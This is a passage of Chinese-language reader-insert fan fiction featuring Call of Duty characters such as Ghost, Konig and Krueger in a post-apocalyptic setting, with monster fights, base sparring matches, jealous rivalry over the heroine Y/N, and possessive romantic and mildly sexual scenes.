发动机的轰鸣盖住了他的沉默。Ghost从没区分过男女,在他眼里只有活人和死人,战士和累赘。
可此刻,副驾驶座上蜷缩扭动的那团身影,却让他第一次产生了某种异样的认知。
Ghost确实从未参与过任何女人的私密时刻,但这不代表他不明白那些生理构造。
车在荒野上颠簸,Y/N突然揪住他的袖口,指尖隔着布料掐进他臂膀。
“要是我真死了,你帮我多抓点怪物,把它们的血洒在我身上啊,记住啊。”
Ghost低沉的嗓音里混着无奈的笑,带着粗粝触感的大手覆上她的后脑勺,揉了揉。
他喉间溢出一声轻哼。
“啧,真够恶心的。原来你那见鬼的力量是这么回来的?”
“放心。”他忽然屈指弹了下她的额头,力道极轻。
“你死不了的,My princess(我的小公主)”
车子一个急刹停在废弃超市门口,Ghost甩开车门,过一会儿,人回来了。
他将一包卫生巾抛到她腿上。战术腰带上挂着的作战包鼓鼓囊囊,显然塞满了同类物品。
“这是什么?”Y/N捏着包装袋哗啦作响。
”你需要的。”他又摸出枚止疼药片抵到她唇边,“咽了。”
Y/N自然地仰头张嘴,像等待投喂的雏鸟。Ghost眯起眼,将药片弹进她嘴里,看着女人直接嚼碎吞了。
“所以这个怎么用?”疼痛缓解的Y/N歪着头撕扯包装,塑料膜在车厢里发出刺啦声。
Ghost僵住了。狠狠抹了把面罩,是啊,该死的,她怎么可能知道这些?
他一把夺过卫生巾,拧开车顶灯。灯光下他研究说明书的模样,像在拆解新型炸弹。
最终男人抽出一片,如同教导新兵组装枪械般,将棉垫展开,翻转,按压背胶。
“看明白没?”他粗声粗气地把东西塞回去,“现在到后座去,贴在你内裤上。”
Y/N困惑地眨眼:“什么内裤?”
“.....”Ghost的手突然攥紧了车门把手。
“别告诉我你没穿内…..Fucking Hell!”
他猛地踹开车门,皮靴砸地的声响重得吓人。
超市货架间回荡着男人暴躁的脚步声。Ghost踹开倒塌的购物架,骂骂咧咧停在内衣货架前。
惨白的月光透过破碎的橱窗,照在他突然僵直的背影上。
那些缀着花边的小布料,比任何重机木仓都让他无所适从。
“去后座穿。”
Y/N看着那几个精致的盒子,扯出拨弄缎带装饰。她抬头时,只望见男人大步离去的背影。
Ghost走到超市另一侧的阴影里,手指掀起面罩。香烟被咬住的瞬间,打火机的火光照亮了他紧绷的下颌。
烟雾中,他的目光始终死死钉在五十米外的那辆车上,深色瞳孔在黑暗里灼灼发亮。
那些不受控制浮现的画面。纤细的腰肢陷入蕾丝的模样,瓷白肌肤与墨黑布料交叠的对比。
像毒气啃噬着他的理智。他用力碾灭烟头,却碾不灭血液里躁动的火。
直到看见Y/N从后车厢跳下来,冲他招手,Ghost紧绷的肩膀才松懈下来。
他长舒一口气,正打算迈步。
“咔嚓!”
超市屋顶突然传来瓦砾碎裂的声响。一只异变体在阴影里,不知蛰伏了多久。
此刻它死死锁定Y/N,Ghost的血液瞬间冻结。他猛地抬木仓冲过去。
该死的!现在的Y/N毫无防备,还处在虚弱状态!他居然被那些乱七八糟的念头分了神,连这么近的威胁都没察觉!<
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p>可他不知道的是,Y/N的眼睛在看见怪物瞬间噌地亮了起来。
异变体扑落的瞬间,Ghost的扳机已经扣到一半。
却见Y/N反手抽出匕首,一个利落的侧身闪避,刀刃精准划开怪物泛脊椎。
血液喷溅在她身上,还有那些他看不见的幽蓝荧光,整一个劲往Y/N体内钻。
Ghost看着Y/N毫不犹豫将手插进怪物的脊椎,在里面翻找着什么。
突然,她动作一顿,指尖捏着什么,正困惑歪着头。
Y/N感到奇怪,这枚蓝色的晶体是什么,竟然没有自动融入她体内。
“你能看见这个吗?”
“什么?”
果然,他看不见。就像那些蓝色荧光一样,普通人类无法感知这种能量。
“伸手。”
Ghost没有多问,摊开掌心。Y/N将晶体轻轻放在他手上。刹那间,那晶体竟像水滴般融进了他的皮肤。
一股暖流从掌心蔓延至四肢百骸,Ghost感到连日作战的疲惫一扫而空,连感官都变得异常敏锐。他震惊地看向Y/N。
她眼睛瞪得大大的,抓住他的手。
“这是你们看不见的东西,说不定能让你们也获得类似我的能力!啊!说不定还能永生!”
Ghost的呼吸一滞,他猛然想起那个戴着黄金面具的神秘人。那人啃食了Y/N的血肉后,就变得刀枪不入,最后凭空消失。
如果人类真能获得这种力量。
他凝视着Y/N闪闪发亮的眼睛,心跳突然加速。
这样说不定真能一直在她身边,甚至彻底清除这个世界的异变体。
但转念一想,他又暗自庆幸,幸好只有Y/N能看见这些晶体。如果让恶人得到这种力量,世界必将陷入更大的混乱。
……
他也不必再休息,索性开车一路往前,太阳升起,Ghost看了眼躺在座椅里睡着的Y/N,将车在路边缓缓停靠。
他环抱着胳膊,倚在座位里,侧过头看着她。
眼神不自觉放柔,他这半生极少表露情绪,因为他清楚,他的结局注定是悲剧收场。
所以他也从未畅想过有关情感的任何。他的世界,只有任务成功或死亡。
情感,这个东西,他曾以为永远不会在他身上出现。
正常人的幸福是奢侈的,既然必定会失去,又何必需要?所以连思考都不用去做。
可Y/N的出现,一次又一次打破他的常规。
她所经历的黑暗比他要深太多,以至于她的坚韧或许连她自己都未曾察觉。
而他也从未为她做到过什么。除了生活里的常识外,她似乎不需要任何人。
即便她现在没有了那非人的能力,也从没受过他哪怕一次的保护。
他本该庆幸的。像她这样的人,不需要他,就不会被他拖入深渊。
可为什么,只要看见她,胸腔里那团早已死寂的东西,竟会隐隐作痛。
他见过太多人在面前死去。战友,平民,那些他发誓要保护却最终无能为力的人。
每一次,Ghost都告诉自己,这就是你的命。
你注定只能看着重要的人消失,然后继续走向下一个战场。
可Y/N不一样。
她不需要他的保护,却依然固执闯进他的战场,为他治愈那些他没当回事的伤口,一次又一次找到他,救出他,为他救回Soap的命。
最该死的是,她甚至会在某些间隙,问他饿不饿,困不困。
这或许是这么多年来,第一次有人记得他也会饿,会累,会痛。
45. 自娱自乐[番外]
基地里,Price正与那几个新来的东方面孔打交道。
他们几个知道Price,141的创始人之一,是SAS的王牌指挥官,是全球特种作战圈子的传奇人物。
无论对于正规军还是私人军团,唯一不变的,就是他们都慕强,对强者天生报以敬畏。
这几人自然也不例外。
Price把自己的想法也直接跟他们说了,需要建立一批基地的核心圈。
让他们跟自己现在手下几个人练一手看看。
Horangi和Oni蠢蠢欲动,Zimo笔直站在一旁等待安排。
训练场上围了不少人,个个伸长了脖子,就连Merrick和Logan都抱着手臂站在外围。
场地中央,Soap正往手上缠绷带,冲着对面的Horangi咧嘴一笑。
“听说你们韩国人喜欢玩阴的?”他故意把指节按得咔咔响。
“正好,我们高地人也不讲究什么规矩。”
Horangi面罩下连眉毛都没动一下,只是微微调整了站姿。
Price的哨声刚落,Soap就猛冲过去,却在最后一秒突然变向,一记肘击直奔Horangi咽喉。
沙尘飞扬。甚至没看清发生了什么,就看见Soap被过肩摔砸进沙坑,而Horangi的膝盖正抵在他胸口。
“Bloody hell!”Soap龇牙咧嘴地笑,“这招漂亮。”
Horangi松开他,伸手把人拉起来:“你这人话也太多了。”
“那叫战术干扰。”Soap拍着身上的沙子,压低声音。
“不过说真的,你刚才要是用全力,我现在该躺了吧?”
Horangi面罩下的嘴角抽了抽,像是被这个不要命的傻子逗笑了。
CQB环节更精彩。当两人端着训练枪冲进模拟建筑时,场边响起口哨声。
“左边!”Soap踹开门的瞬间大喊。
Horangi已经一个滑跪冲进去,三发点射击倒所有靶子。Soap在掩体后给他比大拇指。
“帅啊!不过,”他突然扔出闪光弹,“下次记得看天花板!”
烟雾中传来Horangi的咳嗽声和一句韩语脏话。
最终统计,Soap以极小的优势领先。
“承让承让。”Soap勾住Horangi的肩膀,后者这次没躲开。
“晚上请你喝酒?听说你酒量跟格斗技术一样吓人。”
“你会后悔的,苏格兰人。”
Price咬着没点燃的雪茄,笑得像个老父亲:“都不错。”
他眯眼看了看表:“第二场,Krueger对Oni。无规则格斗,三分钟一回合。”
场边顿时炸开了锅。
场地中央,Oni缓缓摘下战术手套,赤鬼面具下一声嗤笑,“好久不见啊,疯狗。”
Krueger活动着脖颈,“Schwachkopf(蠢货)等我把你那些骨头一根根折断时,希望你还笑的出来。”
“試してみろ(试试看)”。
Krueger一记右勾拳带着风声。Oni不躲不闪,在最后一刻突然下蹲,手刀精准劈向Krueger的肋间。
Oni在他耳边开口,“你那只小猫,我倒是挺喜欢。”
Krueger突然暴起,借着惯性用额头猛撞Oni的面门,但对方反手就是一记贯手,直插他的咽喉。
他闪身跃起,一记回旋踢向Oni太阳穴,对方硬吃下这一脚,趁机抓住他的脚踝,像摔麻袋般将Krueger砸向地面。
Krueger在触地前用手掌一撑,借力翻滚起身,但面罩下已经渗出血丝。
这次他故意卖个破绽,露出右肋,Oni果然中计,一记手刀再次刺来。
Krueger变招,手臂锁住Oni的脖子,将他整个人提起。
“你他妈再敢动她脑筋试试。认输吗,狗东西。”
Oni在被勒晕前的最后一秒,右手二指成锥,猛戳Krueger的眼球!
“Schei?e!!”Krueger吃痛松手。
“停!”Soap冲进场内,“他妈的这是训练不是死刑场!”
两人这才分开。Krueger的左眼充血泛红,Oni的锁骨明显错位。
Price慢悠悠走过来,看了看表:“一分四十七秒。平手。”
“第三场,Keegan对Zimo。模拟人质解救,两分钟准备。”
Keegan仔细检查MP5的弹匣,Zimo给P90装上消音器,头也不抬。
二人都一言不发。
基地内的仓库区,红色应急灯闪烁,电子假人质被绑在二楼控制室。
Keegan破门瞬间,左手持盾突进,右手MP5三连发点射,两个移动靶应声倒地。
Zimo也同步行动,从通风管潜入,消音木仓精准爆头三个固定靶,翻身躲过旋转机枪靶的扫射。
Keegan踹门瞬间突然僵住,发现最后一个靶子是儿童人质模型。
犹豫间Zimo从天花板跃下,飞刀精准命中靶子背后的武装分子,“人质安全,任务完成。”
Price查看数据:“Zimo快0.4秒。”
Zimo看向Keegan,“你心软了。”
……
晚上在食堂,Price抽着烟突然说到,“等他俩回来,再加练一次,二对二,让Y/N参加。”
Konig轰的站起,粗麻布下的声音急促,“我……我…我和Y/N组队,让我来!我肯定..…不会让她受一点伤!”
“不受伤还算什么训练,就是得让她实战增强。”
Price叼着烟又接着说了一句,“哼,你们能不能打过她都不一定呢。”
Krueger哼笑一声,想起曾第一次和她在角斗场的笼中对战时,她的招式没有章法,却招招致命。
现在的她虽然没有那股强大的力量,但本质的东西依旧没变。
他看着那几张东方面孔,跟着呛了一句,“是啊,怕是她都能把你们弄死。”
鬼面男抬起脸,像个变态似的眼睛眯笑成缝,“是吗,那我可太期待了。”
Horangi也插嘴,“那位漂亮的小姐,原来这么危险吗?更吸引人了啊。”
Zimo没有说话,安静吃着自己的饭,他对这种无意义的挑衅毫无兴趣。
果然,桌对面几个男人听见他们谈论起Y/N,瞬间周身戾气蔓延。
Nikto死死盯着Oni。
Nikto讨厌这个赤鬼面的男人,身上有种让他感到排斥的气息。
是隐忍中的血腥崇拜还是什么。
那种刻意压抑的疯狂,像一锅即将沸腾的浓稠血浆,表面平静,内里却翻滚着令人作呕的狂热。
他见过太多疯子,但Oni不一样。
其他人至少坦荡地疯,而这个人像披着冷静的皮,把扭曲的欲望藏在每一次彬彬有礼的后面。
更让Nikto烦躁的是,那双眼睛,它们看向Y/N时的神情,就像饥饿的野兽在审视一顿即将到口的大餐。
桌下的手不自觉地攥紧,Nikto不认为自己是什么保护者。
但如果这个戴面具的杂种敢用那种眼神多看她一秒,他不介意让基地多一滩洗不干净的血迹。
其他几人的感受与Nikto一致,Krueger和他一样看向Oni,眼神冷得像在看一具尸体。
而Keegan和Konig则盯着Horangi。
Horangi摊手说道,“有必要这么紧张吗?那位小姐也不是你们的专属品吧。”
这个男人看上去好似无害的模样,说话时轻佻的语调,漫不经心的态度,都像掩着更危险的东西。
Keegan的手指在桌沿轻轻敲击,节奏缓慢,带着压迫感。
而Konig的呼吸明显加重,粗麻布下的肌肉绷紧,随时准
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备扑上去撕碎任何敢对Y/N露出不轨意图的人。
空气凝固了一瞬,连Price都察觉到了气氛的紧绷,但他只是深吸了一口烟,没有插手的意思。
……
只有一个人在专注自已的事。
他起身时椅子发出轻微的摩擦,在剑拔弩张的沉默中显得清晰。
Zimo的动作始终从容,连收拾餐具的节奏都带着事不关己的冷淡。
“我吃好了,祝你们用餐愉快。”
这句话像把刀,干脆利落划开了餐桌上黏稠的敌意。
他转身离开时,背后传来Price的哼笑,而其他人依然保持着对峙的姿态。
只是现在,少了个人分担这份压抑。
Zimo不是没注意到那些针锋相对的视线,他只是懒得参与。
在他眼里,这种雄性动物争夺领地的戏码既幼稚又浪费时间。
况且,如果真有人蠢到去动那个女人。
那根本用不着他出手。
……
Konig的房间里,空气凝固着粘稠的窒息感。他站在中央,胸膛剧烈起伏,粗重的喘息在密闭空间里回荡。
粗麻布下传来压抑的咒骂,那些新来的杂种。
湛蓝的瞳孔里是平日里不曾见过的暴戾,阴郁。
没有人,没有任何人能从他身边抢走她。
指尖颤抖着探进面罩,粗糙的指腹重重碾过自己的嘴唇。
这里,是属于Y/N的。
他想象着是她柔软的唇瓣在厮磨,是她温热的吐息渗进布料。
“…..Y/N...”沙哑的嗓音像被火燎过。
另一只手已经扯开作战裤,掌心滚烫地贴上去。他仰起头,喉结滚动,面罩被急促的呼吸浸得潮湿。
墙上的挂钟滴答作响,秒针每走一步都像在嘲笑他的失控。
当最后一丝理智被欲念烧尽时,Konig狠狠咬住面罩下的手腕,血液在口腔里炸开,眼眶里聚着泪。
“不…..不..Dieses widerliche Wesen(我这个肮脏的东西)”
……
夜色深沉,瞭望塔上的风裹挟着寒意。
Merrick和Keegan并肩而立,木仓械冰冷的金属光泽在月下若隐若现。
Merrick叼着烟,火星在黑暗中忽明忽暗。他侧过头,瞥了一眼身旁沉默的男人,声音低沉,直白。
“你再不抓紧,就没你的事了。”
Keegan的指节在狙击木仓的管上轻轻摩挲,神色在阴影中晦暗不明。
他当然知道Merrick在指什么。Y/N身边的位置,从来都不缺竞争者。
“我知道。”
短暂的沉默后,Keegan再次开口,语气里带着冷硬的笃定。
“他们也没那么容易能真正得到她。”
Merrick哼笑一声,吐出一口烟圈,没再说话。
Krueger翻出基地,摩托车引擎在夜里咆哮,碾过郊外荒芜的公路。
他单手控车,另只手烦躁地扯了扯面罩。基地的规矩,那些碍眼的家伙,统统让他想杀掉。
男人猛地刹住车,橱窗里的珠宝泛着冷光。
“啧,麻烦。”
他抡起胳膊肘砸向玻璃,碎片扎进小臂连眼皮都没眨一下,手指径直探进去,精准攫住那对最闪的戒指。
Krueger翻上屋顶,仰面躺下,戒圈在指间翻转。
“垃圾货色,还不如非洲军阀棺材里摸出来的成色。”
他把两枚戒指对着月亮看。
“配她倒是委屈了……不过,”
戒圈内侧还刻着“forever”,字母被血垢糊了一半。
他慢条斯理把戒指套在自己小指上试了试。
太小了,得改。Krueger笑了声,把戒指塞进贴身的口袋。
摩托车引擎在死寂的荒野炸响。
他得回去,把戒指熔了重铸。
46. 自娱自乐[番外]
Y/N伸了个懒腰,车窗外的月光已经洒满了整条荒野公路。
她揉了揉后颈,感觉自从身体里开始流血后,身上总是疲惫和酸疼。
Ghost不在驾驶座上,连引擎都凉透了。
她利落地跳下车,道路两侧的野林黑黢黢的,树影在风里摇晃。
三百米外的林间,Ghost正半跪在腐殖土上。他的呼吸比夜雾还轻,手指已扣住了军刺。
十点钟方向有只独行的野狼,够他们熬两锅高汤了。尤其是现在,Y/N需要营养。
“喂,喂,喂?”
对讲机突然炸响的瞬间,狼耳警觉地转动。Ghost条件反射要关掉通讯,却听见Y/N的声音带着电流杂音传来。
“你在哪啊?诶,这个是这样用的吗,Ghost,你在吗?”
狼影倏地消失在灌木丛里。Ghost的肩线绷紧又松开,面罩下传来一声连他自己都没察觉的轻笑。
“我在,”他按下通讯键,枯叶被起身的动作碾碎,“我马上回来。”
月光穿过枝桠,照亮他收刀时手腕转出的银弧。
回去得教教她正确使用对讲机,虽然被搅黄了狩猎的计划,似乎也没那么重要了。
Y/N站在车边,Ghost的身影刚从林间浮现,她就忍不住开口。
“你怎么不喊我?你是不是自己偷偷去杀怪物了?”
Ghost的脚步顿了一下。面罩下的视线落在她脸上。
她的嘴唇微微嘟起,眉头轻蹙,月光在那双眼睛里映出细碎的不满。
……撒娇?
这个念头击中他的神经。Ghost这才意识到,Y/N的表情什么时候变得这么丰富了?
那些细微的,生动的情绪,是从前几乎消失的东西。
其他人见过她这样吗?
他喉结滚动,不自然地咳了一声:“……我狩猎去了。”
顿了顿,又硬邦邦地补充,“还有,别做这种奇怪的表情。”
“什么奇怪的表情?”Y/N歪头。
Ghost盯着她看了两秒,突然烦躁地“啧”了一声。
转身拉开车门:“算了。我睡会,你守夜吧。”
他跨进后车厢,抬手扯了扯面罩,呼吸比平时重了几分。
该死,他得冷静一下。
Y/N却像只猫似的一下子钻进了车厢,还小声嘟囔着。
“我也想趴一会儿,身上酸酸的,不舒服……”
Ghost立刻坐直了身子。
Bloody hell,他差点忘了她身子不适,昨天在副驾驶蜷了一整日,他怎么就忘了让她到后边躺会儿。
他一把拽过收纳箱里的睡袋,三两下铺在车厢底板上,拍了拍:“过来。”
Y/N乖乖爬过去,却在躺下时突然歪头看他。
“你是不是没位置了?”说着就往旁边没垫睡袋的金属边缘挪
Ghost手臂一伸,直接把人捞回睡袋正中央。
“位置够。”他声音有点硬,“旁边是金属,冰的。”
说完就后悔了。语气太凶了吗?不,Y/N根本不在意这些。
他舌尖抵了抵上槽牙,干脆自己也躺下来,手臂垫在脑后。
车厢变得很挤。睡袋窸窸窣窣的声响里,Y/N的头发扫过他锁骨。Ghost盯着车顶的铆钉闭上眼。
Y/N趴在睡袋上拆零食包装,像只偷吃的小动物。
Ghost半撑起身子,面罩下的声音带着无奈的笑意:“你到底要不要我睡觉?”
“那我小声点。”她压低嗓音,却还是忍不住递过薯片。
“这个好吃,你也尝尝。”突然又想起什么似的缩回手。
“哦,我忘了。”
面罩一角被掀起。Ghost扣住她手腕把薯片拽回来,薄唇擦过她指尖时皱眉。
“什么鬼味道,黄瓜?”
“不知道。”Y/N翻看包装袋,眼睛发亮,“对,是黄瓜!”
她迫不及待拆开新包装直接怼到他唇边,“再试试这个!”
Ghost勉强咬了一角:“……烧烤?”
“烧烤是什么?”Y/N歪头研究包装图案时,顺手把他咬过的那片扔进自己嘴里,
“我还是喜欢上一个味道。”
Ghost的瞳孔骤然收缩。
车厢安静得能听见薯片碎屑落在睡袋上的声响。他盯着她沾着盐粒的唇角,喉咙发紧。
“你还记得那天在房车我们说的话吗。”
Y/N嚼着巧克力问,“是说吃掉你的欲望,还是说他们吃掉我是错的?”
Ghost听见她后半句话,皱了皱眉,坐起身抬手抚过她的唇角。
“疼吗….他们……”
他看见Y/N嚼着巧克力的动作突然停住了。车厢里的空气凝固,连呼吸声都变得刺耳。
Ghost的手还停在她唇角,指腹下的皮肤冰凉。他看见她瞳孔剧烈收缩,巧克力碎从指间掉落在睡袋上。
那些被刻意遗忘的记忆像血一样漫上来。
“嗯。疼。”
她声音很轻,轻得像刀锋划过动脉时的风声。
Ghost的手猛地收紧,手在睡袋上刮出刺耳的声响。
那些混蛋施加在她身上的每一道伤,此刻都变成扎在他神经里的倒刺。
“不会再有了。”他声音哑得像吞了炭火,“我保证。”
月光从车窗缝隙漏进来,照见睡袋上融化的巧克力。
甜腻的,柔软的,像极了那些本该属于她的,却早早被掠夺的安宁。
Y/N像只小猫一样爬到Ghost身边,蜷进他怀里时,男人浑身肌肉瞬间绷紧。
作战服随着僵硬的呼吸发出细微摩擦声,他垂眸看着怀里毛茸茸的发顶。
“我跟Keegan说过。”
她仰起脸,“也跟你说一次。如果再遇到,要让我杀了他们。”
Ghost的手捏住她下巴。俯身时面罩布料擦过她鼻尖,唇重重压下来。
“成交。”他抵着她唇瓣哑声道,拇指抹过她刚才被捏红的下巴。
面罩落下的阴影里,那双眼睛比任何枪口都危险,既然她要亲手扣动扳机,那他就替她装满子弹。
Ghost的吻再次加深,带着压抑已久的侵略。他扣住她的后脑,另只手死死掐住她的腰。
下颌的胡渣摩擦着Y/N的脸颊,男人的气息将她彻底笼罩。
“唔….Ghost...”Y/N用力推搡着他,声音在唇齿交缠间支离破碎。
“我现在....没有能力.....给你...”
这句话像一盆冰水浇在Ghost沸腾的欲望上。他猛地僵住,呼吸粗重得吓人。
片刻静默后,他缓缓松开钳制,却仍将她圈在臂弯里。
“我不需要你的能力,我要的是这个。”他的声音沙哑,指腹拂过她被吻肿的唇瓣。
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Y/N看见Ghost那双眼睛此刻盛满了她从未见过的情绪。
赤裸的,滚烫的,毫无保留的渴望。Y/N看不懂,那是什么。
“就只是你。”他抵着她的额头,“懂了吗?”
“不懂。”Y/N歪头困惑。
Ghost低笑一声,笑声里裹着危险的暗哑。他单手扣住Y/N的后颈,力道大得让她动弹不得。
“不懂?”男人贴近她耳畔,灼热的呼吸烫着她耳垂。
“呵,那今天也给我弄懂了。”
话音未落,Y/N就被掀翻在睡袋上。Ghost的膝盖抵在她腿间。
指腹重重碾过她下唇,“这里。”
手指滑到锁骨,“这里,还有这里。”
每说一处就留下一个泛红的指印,“都是我的。”
Y/N下意识想蜷缩起来,却被Ghost的膝盖牢牢钉在原位。
滚烫的掌心隔着一层单薄的衣料,她能清晰感受到他指尖的枪茧。
粗粝的,带着硝烟味的,像他这个人一样危险。
“什么意思?”
Y/N的话刚问出口,就被Ghost的手掐住下颌,强迫她直视自己
“意思就是,就算你有那些能力。也只用记住。”
月光从车窗斜斜漏进来,照亮男人那双黑得惊人的瞳孔。那里面的占有欲浓得,像是要把她生吞活剥。
“你整个人,从头发丝到脚趾尖,都必须是我的。”
Y/N的脸还被他捏在掌心,指尖的温度烫得惊人。
她眨了眨眼问道:“这个是不是就叫做宣告?”
Ghost低低笑出声,指腹蹭过她的脸颊。“是的,没错。看来你还是听得懂话。”
Y/N却伸手戳了戳他,“那你是谁的?”
Ghost的笑意更深了。他向后仰躺在车厢地板上,手臂一揽就将她整个捞进怀里。
Y/N猝不及防跌在他身上,听见男人胸腔震动发出的闷笑。
“我也可以是你的。”
Y/N想了想,“好吧,那这样也算公平。”
过了一会,Ghost就快睡着了,Y/N突然又说。
“那他们呢,他们好像都想是我的。”
男人的睡意瞬间消散,眼睛在黑暗中危险地眯起。他收紧搂着Y/N的手臂,声音里带着未消的睡意和警告。
“他们想都别想。”
“可是我也很喜欢他们。小熊身上躺着很暖和,和Keegan在一起我感觉很安心,Krueger也很好玩….还有….”
未尽的话语被突如其来的吻堵住。
这个吻带着惩罚意味,Ghost恶意地碾过她的唇,直到听见Y/N吃痛的抽气声才松开。
“闭嘴。”面罩下的呼吸明显加重。
“再多说一个名字,我就把你锁在基地的仓库里一个月。”
“现在,睡觉。”
Y/N立刻乖乖不动了,却在黑暗中眨了眨眼。
她觉得Ghost就像从前那头总跟着她的灰狼一个模子,每当其他动物靠近就会龇出獠牙。
可那些跟它一样凶狠的掠食动物是驱散不走的。
而Y/N认为,现在身边围绕的他们,都只是不同气味的野兽。
就像曾经在山林里一样。
她懂得如何让这些利齿间保持平衡。只要让每头猛兽都觉得自己赢了。
Y/N觉得人类应该也是一样的吧。
47. 自娱自乐[番外]
他们已经在外面奔波了一周。
这一路上,特殊异变体的数量比预想的要少,但Ghost仍保持着警戒。直到今天,他们决定返回基地。
然而,就在回程的路上,三辆改装过的车出现在视野里。
Ghost立刻抬手示意停车,同时按住Y/N的肩膀,没让她下车。
对方显然也察觉到了他们,车队缓缓停下,保持着防御姿态。车门打开,陆续走下来十几个人。
有男人,有女人,甚至还有老人和孩子。虽然都是平民,但他们的眼神和姿态都透着坚韧,绝不是毫无战斗力的弱者。
领头的男人目光锐利地扫视过来,右手始终没有离开腰间的枪。Ghost能感觉到对方的警惕。
但他并不紧张,像他这样长期在生死边缘游走的人,太容易分辨出谁是疯子,谁是值得信任的幸存者。
就在双方僵持的瞬间,Y/N突然挣脱Ghost的手,跳下车冲了过去。
“赛琳娜!”
对面的人群里,一个红发女人听到声音,猛地从首领身后探出头,眼睛一亮。
“诶?是你!”
紧绷的气氛瞬间消散。
“没想到会遇见你啊!我的东方朋友!”
赛琳娜大笑着迎上来,一把抱住Y/N,用力揉了揉她的头发。
随即,她偏头看向Ghost,眯起眼睛打量了几秒,突然恍然大悟地指着他。
“Hey,你不是来我店买过可可粉那个吗?这也太巧了!”
Ghost这才想起来,他们当时带Y/N回故土时,好不容易找到买可可的地方,店主就是眼前这个红发女人。
他扬了扬眉看向Y/N轻哼一声,怪不得当时还是团蓝雾的Y/N,像见到小女孩时一样,那么急切想往车下窜,原来又是独自旅游时认识的熟人。
赛琳娜正热情地拉着Y/N,向她的伙伴们介绍她。
另一边,Ghost和那个名叫Rick的领头男人走到一旁,低声交谈起来。
Rick告诉他,他们这个小队是在末日爆发后逐渐聚集起来的,一路互相扶持,经历了无数次生死考验。
他们早已不是简单的幸存者团体,而是像家人,像战友一样的存在。
更重要的是,他们每个人都有一定的战斗能力,老人和孩子也不例外。
在这个世界里,弱者活不到现在。
Ghost按下通讯器,“Price,我们发现个平民团体。”
他停顿片刻,目光扫过那群人。
他们正在检查车辆,整理装备,动作熟练而默契,明显不是拖后腿的类型。即便真的遇到麻烦,他们也能自己解决。
“建议纳入基地保护区。”
就这样,Ghost和Y/N带着这支三辆车的小队驶向基地。
只不过,原本应该坐在副驾驶的Y/N,现在却跑到赛琳娜那辆车上去了。
Ghost的装甲车里只剩下他一个人,引擎的轰鸣声都比平时显得更沉闷。
他瞥了眼后视镜。
Y/N正挤在赛琳娜那辆车的后座,红发女人一边开车一边手舞足蹈地说着什么,逗得她眼睛亮晶晶的。
而Y/N怀里还抱着赛琳娜塞给她的零食袋,时不时还回头冲Ghost的方向挥挥手,完全没意识到某人面罩下的气压已经低到可怕。
“呵,行啊。”Ghost的手指在方向盘上收紧,皮革发出细微的摩擦声。
“这么容易就被人拐跑,看来只有栓起来才能安稳。”
后视镜里,赛琳娜甚至伸手揉了揉Y/N的脑袋,而那个没良心的小混蛋居然还往她肩上靠了靠。
他什么时候见过Y/N这副模样?怕是基地的人都没见过。
Ghost的冷哼一声接一声,面罩下的呼吸都重了几分。
他猛地踩下油门,装甲车骤然加速,把后面几辆车甩开一小段距离。
等回基地再算账。
……
Price站在哨塔上,望远镜的镜片反射着月光。他叼着雪茄,眯起眼睛,看着远处逐渐靠近的车影。
Ghost的装甲车打头,后面跟着三辆陌生的改装车。
而当他的视线扫到第二辆车时,嘴角忍不住扬了起来。
Y/N正坐在副驾驶,和一个红发女人有说有笑。
“呵,那群小子的主心骨总算回来了。”
很快,车队在基地厚重的金属大门前停下。赛琳娜和她的同伴们透过车窗,震撼地望着这座庞大的军事堡垒。
高耸的围墙,森严的防御工事,以及站在门外的几个男人。
红发女人握着方向盘的手都不自觉发颤。
尤其是当那个戴着刽子手头套,身形如怪物般高大的男人两步跨到她车前时,她差点一脚踩上油门逃跑。
然而下一秒,Y/N已经推开车门跳了下去。
令人意外的是,那个看起来凶神恶煞的男人竟蹲下身,小心翼翼地抱了抱她。
紧接着,站在门外的其他几个男人也走了过来。
一双灰蓝色的忧郁眼睛在Y/N身上细细扫过,确认她有没有受伤。
还有裸露着上半身,背着弹链的男人,伸手撩起她的一缕头发,凑近嗅了嗅。
还有默默站在一旁只是看着的黑色面具。
Ghost从装甲车上下来,双臂抱胸站在一旁,面罩下的视线死死盯着这边,气压低得吓人。
赛琳娜的眉毛越挑越高,嘴角已经快咧到耳边。
“哇哦……”她吹了声口哨,小声嘀咕。
“东方小甜心,你可真会挑男人。”
当赛琳娜一行人真正踏入基地内部时,紧绷的神经终于缓缓松懈下来。
高耸的围墙内,是井然有序的军事设施,训练有素的士兵,以及足以抵御任何威胁的火力配置。
这里不是苟延残喘的避难所,而是一座真正的堡垒,足以在这末日中撑起一片安全的天地。
基地食堂灯火通明。长桌上摆满了食物。
这是Price特意安排的,算是给第一批正式接纳的平民团体的欢迎仪式。
Krueger慢悠悠地晃到Ghost身后,目光落在那桌热闹的人群上。Y/N拉着小女孩紧紧挨着那个红发女人,笑得眼睛弯成月牙。
“那个女人是谁?”Krueger挑眉。
Ghost没回答,而Keegan和Konig也盯着那桌人,眼神晦暗不明。
事实上,整个食堂里,不止他们在看,某些视线都不自觉地往那个方向飘。
Y/N喜欢赛琳娜。
喜欢这群新来的幸存者。
他们给她讲旅途中的故事,教她怎么用弹壳做小玩具,甚至还有人偷偷塞给她一块珍藏的巧克力。
和那群男人不同。他们像山林里亲近她的野兽,强大,沉默,用最直接的方式,却很少和她聊那些无关生存的琐事。
但赛琳娜他们不一样。
他们身上带着鲜活的人类气息,有笑声,有抱怨,有毫无意义的闲聊和打闹。
Y/N好奇地听着每一句话,眼睛亮了又亮,像是第一次触摸到人的生活是什么样子。
“你……你就不该……带那些人来……”
Konig幽怨地盯着Ghost,声音压得极低,却掩不住那股委屈。
“Y/N现在……根本看不见我了……”
他高大的身影弓着,蓝色的眼珠子透过粗麻布罩子,死死盯着远处正黏在赛琳娜身边的Y/N。
“啧。”Ghost的叉子突然在餐盘上划出声响,离开了食堂。
欢迎会结束后,Y/N依然寸步不离地跟着赛琳娜,甚至亦步亦趋地要跟着她回房间休息。
Keegan站在走廊阴影处,轻笑了一声,摇摇头转身离开。
他倒是觉得这样挺好。Y/N该有自己的朋友,也该体验普通人的社交。
或许和这群人相处,能帮她更清楚地理解“情感”是什么。
Konig攥紧拳头,死死盯着Y/N的背影。
他想冲上去,一把将她拽回来。他想把那个红发女人连同那群新来的幸存者全扔出基地围墙。
但最终,Konig只是颓然地垂下肩膀,像只被雨淋湿的巨狼,垂头丧气回了自己房间,他怕Y/N不高兴。
只有Krueger,懒洋洋抄着兜,不紧不慢地跟在两人身后。
就在Y/N要跟着赛琳娜踏进房间的瞬间,他突然伸手,一把揽住她的腰,轻松地将人捞了回来。
“Hey,小猫。这样随便跟别人走可不行,我还有事找你。”
